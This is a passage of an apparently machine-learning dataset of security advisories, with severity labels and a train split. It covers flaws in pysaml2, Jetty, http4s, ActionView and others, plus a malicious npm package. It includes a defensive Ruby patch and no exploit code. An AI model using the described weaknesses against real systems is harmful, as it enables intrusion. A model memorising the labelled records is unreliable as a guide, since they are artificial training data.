MEDIUM]\n\n### Impact\n\nAll users of pysaml2 that use the default `CryptoBackendXmlSec1` backend and need to verify signed SAML documents are impacted. `pysaml2 <= 6.4.1` does not ensure that a signed SAML document is correctly signed. The default `CryptoBackendXmlSec1` backend is using the `xmlsec1` binary to verify the signature of signed SAML documents, but by default, `xmlsec1` accepts any type of key found within the given document. `xmlsec1` needs to be configured explicitly to only use only _x509 certificates_ for the verification process of the SAML document signature.\n\n### Patches\n\nUsers should upgrade to pysaml2 `v6.5.0`.\n\n### Workarounds\n\nNo workaround provided at this point.\n\n### References\n\nThis issue has been reported in the past at the xmlsec1 mailing list:\nhttps://www.aleksey.com/pipermail/xmlsec/2013/009717.html\n\n### Credits\n\n- Brian Wolff\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [pysaml2](https://github.com/IdentityPython/pysaml2)\n* Email us at [the incident-response address](mailto:incident-response@idpy.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-21", "split": "train"}
-{"id": "724cd57a88935a90c64e", "text": "Rendertron discloses absolute paths of files\n\nInstalled packages are exposed by node_modules in Rendertron 1.0.0, allowing remote attackers to read absolute paths on the server by examining the \"_where\" attribute of package.json files.", "text_raw": "Rendertron discloses absolute paths of files\n\n[Severity: HIGH]\n\nInstalled packages are exposed by node_modules in Rendertron 1.0.0, allowing remote attackers to read absolute paths on the server by examining the \"_where\" attribute of package.json files.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-12", "split": "train"}
-{"id": "2d31d0c8ad612a47e998", "text": "CBN CH6640E/CG6640E Wireless Gateway Series Multiple Vulnerabilities", "text_raw": "CBN CH6640E/CG6640E Wireless Gateway Series Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-10-25", "split": "train"}
-{"id": "f8af0661bae154178cb2", "text": "Zoho Desktop Central Authentication Bypass Vulnerability\n\nAffected: Zoho Desktop Central\n\nZoho Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Zoho Desktop Central Authentication Bypass Vulnerability\n\nAffected: Zoho Desktop Central\n\nZoho Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "262dbdfb00a36ca808cb", "text": "SnakeYAML Entity Expansion during load operation\n\nThe Alias feature in SnakeYAML 1.18 allows entity expansion during a load operation, a related issue to CVE-2003-1564.", "text_raw": "SnakeYAML Entity Expansion during load operation\n\n[Severity: HIGH]\n\nThe Alias feature in SnakeYAML 1.18 allows entity expansion during a load operation, a related issue to CVE-2003-1564.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-04", "split": "train"}
-{"id": "c7e15caed7e7af9bd299", "text": "ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution", "text_raw": "ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-08-30", "split": "train"}
-{"id": "9bbe4f5febe62994ec61", "text": "Holder can generate proof of ownership for credentials it does not control in vp-toolkit\n\n### Impact\nThe [`verifyVerifiablePresentation()`](https://github.com/rabobank-blockchain/vp-toolkit/blob/master/src/service/signers/verifiable-presentation-signer.ts#L97) method check the cryptographic integrity of the Verifiable Presentation, but it does not check if the [`credentialSubject.id`](https://github.com/rabobank-blockchain/vp-toolkit-models/blob/develop/src/model/verifiable-credential.ts#L150) DID matches the signer of the VP proof.\n\nThe **verifier** is impacted by this vulnerability.\n\n### Patches\nPatch will be available in version 0.2.2.\n\n### Workarounds\n- Compute the address out of the `verifiablePresentation.proof.n.verificationMethod` using `getAddressFromPubKey()` from `crypt-util@0.1.5` and match it with the `credentialSubject.id` address from the credential.\n\n### References\n[Github issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/14)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Discuss in the existing [issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/14)\n* [Contact me](https://github.com/rabomarnix)", "text_raw": "Holder can generate proof of ownership for credentials it does not control in vp-toolkit\n\n[Severity: HIGH]\n\n### Impact\nThe [`verifyVerifiablePresentation()`](https://github.com/rabobank-blockchain/vp-toolkit/blob/master/src/service/signers/verifiable-presentation-signer.ts#L97) method check the cryptographic integrity of the Verifiable Presentation, but it does not check if the [`credentialSubject.id`](https://github.com/rabobank-blockchain/vp-toolkit-models/blob/develop/src/model/verifiable-credential.ts#L150) DID matches the signer of the VP proof.\n\nThe **verifier** is impacted by this vulnerability.\n\n### Patches\nPatch will be available in version 0.2.2.\n\n### Workarounds\n- Compute the address out of the `verifiablePresentation.proof.n.verificationMethod` using `getAddressFromPubKey()` from `crypt-util@0.1.5` and match it with the `credentialSubject.id` address from the credential.\n\n### References\n[Github issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/14)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Discuss in the existing [issue](https://github.com/rabobank-blockchain/vp-toolkit/issues/14)\n* [Contact me](https://github.com/rabomarnix)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-06", "split": "train"}
-{"id": "07619d5803e43b7cfc46", "text": "Undefined Behavior in sailsjs-cacheman\n\nAll versions of `sailsjs-cacheman` have a vulnerability that may lead to Undefined Behavior. The config variable is exposing to the global scope which may overwrite other variables and cause the application to misbehave.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Undefined Behavior in sailsjs-cacheman\n\n[Severity: LOW]\n\nAll versions of `sailsjs-cacheman` have a vulnerability that may lead to Undefined Behavior. The config variable is exposing to the global scope which may overwrite other variables and cause the application to misbehave.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "5e45ebbe65d3ac14a50b", "text": "Ruby-SAML Improper Authentication vulnerability\n\nOneLogin Ruby-SAML 1.6.0 and earlier may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.", "text_raw": "Ruby-SAML Improper Authentication vulnerability\n\n[Severity: HIGH]\n\nOneLogin Ruby-SAML 1.6.0 and earlier may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "686528b7c05397bbab5b", "text": "Kiali Authentication Bypass vulnerability\n\nAn authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy `OpenID` is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID `implicit flow` is used with RBAC turned off, this token validation doesn't occur, and this allows a malicious user to bypass the authentication.", "text_raw": "Kiali Authentication Bypass vulnerability\n\n[Severity: MEDIUM]\n\nAn authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy `OpenID` is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID `implicit flow` is used with RBAC turned off, this token validation doesn't occur, and this allows a malicious user to bypass the authentication.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "fd5c68248736707ab6e5", "text": "Operation on a Resource after Expiration or Release in Jetty Server\n\nIn Eclipse Jetty, versions 9.4.27.v20200227 to 9.4.29.v20200521, in case of too large response headers, Jetty throws an exception to produce an HTTP 431 error. When this happens, the ByteBuffer containing the HTTP response headers is released back to the ByteBufferPool twice. Because of this double release, two threads can acquire the same ByteBuffer from the pool and while thread1 is about to use the ByteBuffer to write response1 data, thread2 fills the ByteBuffer with response2 data. Thread1 then proceeds to write the buffer that now contains response2 data. This results in client1, which issued request1 and expects responses, to see response2 which could contain sensitive data belonging to client2 (HTTP session ids, authentication credentials, etc.).", "text_raw": "Operation on a Resource after Expiration or Release in Jetty Server\n\n[Severity: CRITICAL]\n\nIn Eclipse Jetty, versions 9.4.27.v20200227 to 9.4.29.v20200521, in case of too large response headers, Jetty throws an exception to produce an HTTP 431 error. When this happens, the ByteBuffer containing the HTTP response headers is released back to the ByteBufferPool twice. Because of this double release, two threads can acquire the same ByteBuffer from the pool and while thread1 is about to use the ByteBuffer to write response1 data, thread2 fills the ByteBuffer with response2 data. Thread1 then proceeds to write the buffer that now contains response2 data. This results in client1, which issued request1 and expects responses, to see response2 which could contain sensitive data belonging to client2 (HTTP session ids, authentication credentials, etc.).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "0f123867d805e0e0e93e", "text": "Regular Expression Denial of Service in moment\n\n## Recommendation\n\nUpdate to version 2.19.3 or later.", "text_raw": "Regular Expression Denial of Service in moment\n\n[Severity: HIGH]\n\nAffected versions of `moment` are vulnerable to a low severity regular expression denial of service when parsing dates as strings.\n\n\n## Recommendation\n\nUpdate to version 2.19.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "30266ab71d6fb8ee2acd", "text": "[Unknown] Malformed ECParameters causes infinite loop\n\nMalformed ECParameters causes infinite loop (CVE-2015-1788)\n===========================================================\n\nWhen processing an ECParameters structure OpenSSL enters an infinite loop if the curve specified is over a specially malformed binary polynomial field.\n\nThis can be used to perform denial of service against any system which processes public keys, certificate requests or certificates.  This includes TLS clients and TLS servers with client authentication enabled.\n\nThis issue affects OpenSSL versions: 1.0.2 and 1.0.1. Recent 1.0.0 and 0.9.8 versions are not affected. 1.0.0d and 0.9.8r and below are affected.\n\nOpenSSL 1.0.2 users should upgrade to 1.0.2b\nOpenSSL 1.0.1 users should upgrade to 1.0.1n\nOpenSSL 1.0.0d (and below) users should upgrade to 1.0.0s\nOpenSSL 0.9.8r (and below) users should upgrade to 0.9.8zg\n\nThis issue was reported to OpenSSL on 6th April 2015 by Joseph Birr-Pixton. The fix was developed by Andy Polyakov of the OpenSSL development team.\n\nhttp://jbp.io/2015/06/11/cve-2015-1788-openssl-binpoly-hang/", "text_raw": "[Unknown] Malformed ECParameters causes infinite loop\n\nMalformed ECParameters causes infinite loop (CVE-2015-1788)\n===========================================================\n\nSeverity: Moderate\n\nWhen processing an ECParameters structure OpenSSL enters an infinite loop if the curve specified is over a specially malformed binary polynomial field.\n\nThis can be used to perform denial of service against any system which processes public keys, certificate requests or certificates.  This includes TLS clients and TLS servers with client authentication enabled.\n\nThis issue affects OpenSSL versions: 1.0.2 and 1.0.1. Recent 1.0.0 and 0.9.8 versions are not affected. 1.0.0d and 0.9.8r and below are affected.\n\nOpenSSL 1.0.2 users should upgrade to 1.0.2b\nOpenSSL 1.0.1 users should upgrade to 1.0.1n\nOpenSSL 1.0.0d (and below) users should upgrade to 1.0.0s\nOpenSSL 0.9.8r (and below) users should upgrade to 0.9.8zg\n\nThis issue was reported to OpenSSL on 6th April 2015 by Joseph Birr-Pixton. The fix was developed by Andy Polyakov of the OpenSSL development team.\n\nhttp://jbp.io/2015/06/11/cve-2015-1788-openssl-binpoly-hang/", "severity": "medium", "severity_label": 1, "source": "hackerone", "timestamp": "2015-06-11", "split": "train"}
-{"id": "f20e28a0d0f3fbb0448d", "text": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability due to the way the Scripting Engine handles objects in memory. Successful exploitation could allow remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability due to the way the Scripting Engine handles objects in memory. Successful exploitation could allow remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2fb351530c1faf2e06da", "text": "Improper Restriction of Excessive Authentication Attempts in Sorcery\n\n### Impact\nBrute force vulnerability when using password authentication via Sorcery. The brute force protection submodule will prevent a brute force attack for the defined lockout period, but once expired protection will not be re-enabled until a user or malicious actor logs in successfully. This does not affect users that do not use the built-in brute force protection submodule, nor users that use permanent account lockout.\n\n### Patches\nPatched as of version `0.15.0`.\n\n### Workarounds\nCurrently no workarounds, other than monkey patching the authenticate method provided by Sorcery or upgrading to version `0.15.0`.", "text_raw": "Improper Restriction of Excessive Authentication Attempts in Sorcery\n\n[Severity: HIGH]\n\n### Impact\nBrute force vulnerability when using password authentication via Sorcery. The brute force protection submodule will prevent a brute force attack for the defined lockout period, but once expired protection will not be re-enabled until a user or malicious actor logs in successfully. This does not affect users that do not use the built-in brute force protection submodule, nor users that use permanent account lockout.\n\n### Patches\nPatched as of version `0.15.0`.\n\n### Workarounds\nCurrently no workarounds, other than monkey patching the authenticate method provided by Sorcery or upgrading to version `0.15.0`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-07", "split": "train"}
-{"id": "ebf0367af095ea02327e", "text": "discord-html not escaping HTML code blocks when lacking a language identifier\n\n### Impact\nAny website using discord-markdown with user-generated markdown is vulnerable to having code injected into the page where the markdown is displayed.\n\n### Patches\nThis has been patched in version 2.3.1\n\n### Workarounds\nEscape the characters `&lt;&gt;&amp;` before sending plain code blocks to discord-markdown.\n\n### References\nhttps://github.com/brussell98/discord-markdown/issues/13", "text_raw": "discord-html not escaping HTML code blocks when lacking a language identifier\n\n[Severity: HIGH]\n\n### Impact\nAny website using discord-markdown with user-generated markdown is vulnerable to having code injected into the page where the markdown is displayed.\n\n### Patches\nThis has been patched in version 2.3.1\n\n### Workarounds\nEscape the characters `&lt;&gt;&amp;` before sending plain code blocks to discord-markdown.\n\n### References\nhttps://github.com/brussell98/discord-markdown/issues/13", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-24", "split": "train"}
-{"id": "491882e115eb0cbe5f3f", "text": "actionpack Path Traversal vulnerability\n\nDirectory traversal vulnerability in `actionpack/lib/abstract_controller/base.rb` in the implicit-render implementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and 4.1.x before 4.1.1, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request.", "text_raw": "actionpack Path Traversal vulnerability\n\n[Severity: HIGH]\n\nDirectory traversal vulnerability in `actionpack/lib/abstract_controller/base.rb` in the implicit-render implementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and 4.1.x before 4.1.1, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "e5f1eba57f642ec218fb", "text": "marionette-socket-host downloads Resources over HTTP\n\nAffected versions of `marionette-socket-host` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `marionette-socket-host`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package author has removed the package from their Github account.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "marionette-socket-host downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `marionette-socket-host` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `marionette-socket-host`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package author has removed the package from their Github account.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "d14a15f0c53b6f5625cf", "text": "Malicious Package in bugfer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bugfer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "53bd956dfc164a99c6a5", "text": "Cross site scripting vulnerability in ActionView\n\nThere is a possible cross site scripting (XSS) vulnerability in ActionView's JavaScript literal escape helpers.  Views that use the `j` or `escape_javascript` methods may be susceptible to XSS attacks.\n\n### Impact\n\nThere is a possible XSS vulnerability in the `j` and `escape_javascript` methods in ActionView.  These methods are used for escaping JavaScript string literals.  Impacted code will look something like this:\n\n```erb\n<script>let a = `<%= j unknown_input %>`</script>\n```\n\nor\n\n```erb\n<script>let a = `<%= escape_javascript unknown_input %>`</script>\n```\n\n### Releases\n\nThe 6.0.2.2 and 5.2.4.2 releases are available at the normal locations.\n\n### Workarounds\n\nFor those that can't upgrade, the following monkey patch may be used:\n\n```ruby\nActionView::Helpers::JavaScriptHelper::JS_ESCAPE_MAP.merge!(\n  {\n    \"`\" => \"\\\\`\",\n    \"$\" => \"\\\\$\"\n  }\n)\n\nmodule ActionView::Helpers::JavaScriptHelper\n  alias :old_ej :escape_javascript\n  alias :old_j :j\n\ndef escape_javascript(javascript)\n    javascript = javascript.to_s\n    if javascript.empty?\n      result = \"\"\n    else\n      result = javascript.gsub(/(\\\\|<\\/|\\r\\n|\\342\\200\\250|\\342\\200\\251|[\\n\\r\"']|[`]|[$])/u, JS_ESCAPE_MAP)\n    end\n    javascript.html_safe? ? result.html_safe : result\n  end\n\nalias :j :escape_javascript\nend\n```\n\n### Patches\n\nTo aid users who aren't able to upgrade immediately we have provided patches for\nthe two supported release series. They are in git-am format and consist of a\nsingle changeset.\n\n* [5-2-js-helper-xss.patch](https://gist.github.com/tenderlove/c042ff49f0347c37e99183a6502accc6#file-5-2-js-helper-xss-patch) - Patch for 5.2 series\n* [6-0-js-helper-xss.patch](https://gist.github.com/tenderlove/c042ff49f0347c37e99183a6502accc6#file-6-0-js-helper-xss-patch) - Patch for 6.0 series\n\nPlease note that only the 5.2 and 6.0 series are supported at present. Users\nof earlier unsupported releases are advised to upgrade as soon as possible as we\ncannot guarantee the continued availability of security fixes for unsupported\nreleases.\n\n### Credits\n\nThanks to Jesse Campos from Chef Secure", "text_raw": "Cross site scripting vulnerability in ActionView\n\n[Severity: MEDIUM]\n\nThere is a possible cross site scripting (XSS) vulnerability in ActionView's JavaScript literal escape helpers.  Views that use the `j` or `escape_javascript` methods may be susceptible to XSS attacks.\n\n### Impact\n\nThere is a possible XSS vulnerability in the `j` and `escape_javascript` methods in ActionView.  These methods are used for escaping JavaScript string literals.  Impacted code will look something like this:\n\n```erb\n<script>let a = `<%= j unknown_input %>`</script>\n```\n\nor\n\n```erb\n<script>let a = `<%= escape_javascript unknown_input %>`</script>\n```\n\n### Releases\n\nThe 6.0.2.2 and 5.2.4.2 releases are available at the normal locations.\n\n### Workarounds\n\nFor those that can't upgrade, the following monkey patch may be used:\n\n```ruby\nActionView::Helpers::JavaScriptHelper::JS_ESCAPE_MAP.merge!(\n  {\n    \"`\" => \"\\\\`\",\n    \"$\" => \"\\\\$\"\n  }\n)\n\nmodule ActionView::Helpers::JavaScriptHelper\n  alias :old_ej :escape_javascript\n  alias :old_j :j\n\n  def escape_javascript(javascript)\n    javascript = javascript.to_s\n    if javascript.empty?\n      result = \"\"\n    else\n      result = javascript.gsub(/(\\\\|<\\/|\\r\\n|\\342\\200\\250|\\342\\200\\251|[\\n\\r\"']|[`]|[$])/u, JS_ESCAPE_MAP)\n    end\n    javascript.html_safe? ? result.html_safe : result\n  end\n\n  alias :j :escape_javascript\nend\n```\n\n### Patches\n\nTo aid users who aren't able to upgrade immediately we have provided patches for\nthe two supported release series. They are in git-am format and consist of a\nsingle changeset.\n\n* [5-2-js-helper-xss.patch](https://gist.github.com/tenderlove/c042ff49f0347c37e99183a6502accc6#file-5-2-js-helper-xss-patch) - Patch for 5.2 series\n* [6-0-js-helper-xss.patch](https://gist.github.com/tenderlove/c042ff49f0347c37e99183a6502accc6#file-6-0-js-helper-xss-patch) - Patch for 6.0 series\n\nPlease note that only the 5.2 and 6.0 series are supported at present. Users\nof earlier unsupported releases are advised to upgrade as soon as possible as we\ncannot guarantee the continued availability of security fixes for unsupported\nreleases.\n\n### Credits\n\nThanks to Jesse Campos from Chef Secure", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-19", "split": "train"}
-{"id": "833c1e378d01c94377f4", "text": "Local file inclusion vulnerability in http4s\n\n### Impact\n\nThis vulnerability applies to all users of:\n* `org.http4s.server.staticcontent.FileService`\n* `org.http4s.server.staticcontent.ResourceService`\n* `org.http4s.server.staticcontent.WebjarService`\n\n#### Path escaping\n\nURI normalization is applied incorrectly.  Requests whose path info contain `../` or `//` can expose resources outside of the configured location.  Specifically:\n\n* `FileService` may expose any file on the local file system.\n* `ResourceService` may expose any resource on the class path.\n\n#### Prefix matching\n\nWhen the service is configured with a non-empty `pathPrefix` that doesn't end in a slash, any directories whose names are a prefix of `systemPath` (from `FileService`) or `pathPrefix` (from `ResourceService`) are exposed.  For example, if `pathPrefix` is `/foo` and `systemPath` is `/bar`, a request to `/foobaz/quux.txt` exposes file `/barbaz/quux.txt`, when only files beneath `/bar` should be available.\n\n#### URI decoding\n\nURI segments are not decoded before resource resolution.  This causes resources with reserved characters in their name to incorrectly return a 404.  It also may incorrectly expose the rare resource whose name is URI encoded.  This applies to `FileService`, `ResourceService`, and `WebjarService`.\n\n### Patches\n\nIn all three services, paths with an empty segment, a `.` segment, or a `..` segment are now rejected with a `400 Bad Request` response.  This fixes exposure outside the configured root.  Many clients already eliminate dot segments according to the rules in [RFC3986, Section 5.2.4](https://tools.ietf.org/html/rfc3986#section-5.2.4).  A middleware that does so at the server level may be considered if there is demand.\n\nIf `pathInfo` is non-empty, and does not begin with `/`, then a 404 response is generated.  This fixes the prefix matching exposure.\n\nAll path segments are URI decoded before being passed to the file system or resource path.  This allows resolution of resources with reserved characters in the name, and prevents incorrect exposure of resources whose names are themselves URI encoded.\n\n### Workarounds\n\nThe recommended course is to upgrade:\n* v0.18.26, binary compatible with the 0.18.x series\n* v0.20.20, binary compatible with the 0.20.x series\n* v0.21.2, binary compatible with the 0.21.x series\n\nNote that 0.19.0 is a deprecated release and has never been supported.\n\nIf an upgrade is impossible:\n\n* Temporarily copy `FileService.scala`, `ResourceService.scala`, and `WebjarService.scala` from the appropriate release series into your project and recompile with that, changing the package name and reference in your application.\n* Users of a servlet backend can use the servlet container's file serving capabilities.\n\n### Credits\n\nThank you to Thomas Gøytil for the discovery, responsible disclosure, and assistance testing of this vulnerability.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s/http4s](http://github.com/http4s/http4s)\n* Email a maintainer:\n  * [Ross A. Baker](mailto:ross@rossabaker.com)", "text_raw": "Local file inclusion vulnerability in http4s\n\n[Severity: CRITICAL]\n\n### Impact\n\nThis vulnerability applies to all users of:\n* `org.http4s.server.staticcontent.FileService`\n* `org.http4s.server.staticcontent.ResourceService`\n* `org.http4s.server.staticcontent.WebjarService`\n\n#### Path escaping\n\nURI normalization is applied incorrectly.  Requests whose path info contain `../` or `//` can expose resources outside of the configured location.  Specifically:\n\n* `FileService` may expose any file on the local file system.\n* `ResourceService` may expose any resource on the class path.\n\n#### Prefix matching\n\nWhen the service is configured with a non-empty `pathPrefix` that doesn't end in a slash, any directories whose names are a prefix of `systemPath` (from `FileService`) or `pathPrefix` (from `ResourceService`) are exposed.  For example, if `pathPrefix` is `/foo` and `systemPath` is `/bar`, a request to `/foobaz/quux.txt` exposes file `/barbaz/quux.txt`, when only files beneath `/bar` should be available.\n\n#### URI decoding\n\nURI segments are not decoded before resource resolution.  This causes resources with reserved characters in their name to incorrectly return a 404.  It also may incorrectly expose the rare resource whose name is URI encoded.  This applies to `FileService`, `ResourceService`, and `WebjarService`.\n\n### Patches\n\nIn all three services, paths with an empty segment, a `.` segment, or a `..` segment are now rejected with a `400 Bad Request` response.  This fixes exposure outside the configured root.  Many clients already eliminate dot segments according to the rules in [RFC3986, Section 5.2.4](https://tools.ietf.org/html/rfc3986#section-5.2.4).  A middleware that does so at the server level may be considered if there is demand.\n\nIf `pathInfo` is non-empty, and does not begin with `/`, then a 404 response is generated.  This fixes the prefix matching exposure.\n\nAll path segments are URI decoded before being passed to the file system or resource path.  This allows resolution of resources with reserved characters in the name, and prevents incorrect exposure of resources whose names are themselves URI encoded.\n\n### Workarounds\n\nThe recommended course is to upgrade:\n* v0.18.26, binary compatible with the 0.18.x series\n* v0.20.20, binary compatible with the 0.20.x series\n* v0.21.2, binary compatible with the 0.21.x series\n\nNote that 0.19.0 is a deprecated release and has never been supported.\n\nIf an upgrade is impossible:\n\n* Temporarily copy `FileService.scala`, `ResourceService.scala`, and `WebjarService.scala` from the appropriate release series into your project and recompile with that, changing the package name and reference in your application.\n* Users of a servlet backend can use the servlet container's file serving capabilities.\n\n### Credits\n\nThank you to Thomas Gøytil for the discovery, responsible disclosure, and assistance testing of this vulnerability.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s/http4s](http://github.com/http4s/http4s)\n* Email a maintainer:\n  * [Ross A. Baker](mailto:ross@rossabaker.com)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-25", "split": "train"}
-{"id": "ee4164815550dc2b3e45", "text": "Cross-site Scripting in snipe/snipe-it\n\nsnipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "text_raw": "Cross-site Scripting in snipe/snipe-it\n\n[Severity: HIGH]\n\nsnipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "c2a8d28c229705d57889", "text": "Access of Resource Using Incompatible Type ('Type Confusion')  in yourls/yourls\n\n## Type juggling vulnerability in the API\n\n### Impact\nYOURLS through 1.7.3 is affected by a type juggling vulnerability in the API component that can result in login bypass.\n\n### Patches\nhttps://github.com/YOURLS/YOURLS/releases/tag/1.7.4\nhttps://github.com/YOURLS/YOURLS/pull/2542\n\n### References\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14537\n* https://github.com/Wocanilo/CVE-2019-14537\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [YOURLS repository](https://github.com/YOURLS/YOURLS)", "text_raw": "Access of Resource Using Incompatible Type ('Type Confusion')  in yourls/yourls\n\n[Severity: CRITICAL]\n\n## Type juggling vulnerability in the API\n\n### Impact\nYOURLS through 1.7.3 is affected by a type juggling vulnerability in the API component that can result in login bypass.\n\n### Patches\nhttps://github.com/YOURLS/YOURLS/releases/tag/1.7.4\nhttps://github.com/YOURLS/YOURLS/pull/2542\n\n### References\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14537\n* https://github.com/Wocanilo/CVE-2019-14537\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [YOURLS repository](https://github.com/YOURLS/YOURLS)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "69242449f742c3a63ff6", "text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in vega-util\n\nvega-util prior to 1.13.1 allows manipulation of object prototype. The &#39;vega.mergeConfig&#39; method within vega-util could be tricked into adding or modifying properties of the Object.prototype.", "text_raw": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in vega-util\n\n[Severity: MEDIUM]\n\nvega-util prior to 1.13.1 allows manipulation of object prototype. The &#39;vega.mergeConfig&#39; method within vega-util could be tricked into adding or modifying properties of the Object.prototype.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
